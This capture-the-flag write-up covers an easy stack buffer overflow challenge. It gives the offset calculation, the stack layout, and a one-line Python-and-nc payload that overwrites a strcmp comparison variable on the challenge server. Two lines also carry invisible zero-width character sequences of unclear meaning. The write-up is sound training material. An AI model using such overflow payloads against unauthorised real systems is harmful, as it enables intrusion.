Easy Overflow 1

Platform: spbctf | Category: pwn | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-03-10 | Status: Solved Techniques: offset_calculation, stack_buffer_overflow, strcmp_overwrite

Summary

Task: exploit a stack buffer overflow to overwrite a comparison variable checked by strcmp. Solution: send 264 bytes of padding followed by the target string "Yesss!" to overwrite the variable adjacent to the buffer on the stack.

Easy Overflow 1 — SPB CTF Pwn Season

Description

"Переполните, чтобы получить флаг" (Overflow to get the flag)

Server: nc 109.233.56.90 11584 Binary: mc4_censored — ELF 64-bit x86-64, not stripped, with debug_info

Analysis

Classic stack-based buffer overflow. Analysis of the binary revealed:

• Buffer location: rbp-0x110 (272 bytes from RBP)
• Comparison variable: rbp-0x8 (8 bytes from RBP)
• Distance: 264 bytes from buffer start to comparison variable
• Target string: "Yesss!" (compared with strcmp) ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The program reads user input into the buffer and then uses strcmp to compare a variable with "Yesss!". By overflowing the buffer, we can overwrite the comparison variable.

Solution

 bash read-only • copy allowed Copy
python3 -c "print('A'*264 + 'Yesss!')" | nc 109.233.56.90 11584

Stack layout:

rbp-0x110: buffer[264]     <- user input starts here
rbp-0x8:   comparison_var  <- overwrite with "Yesss!"
rbp:       saved rbp
rbp+0x8:   return address

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍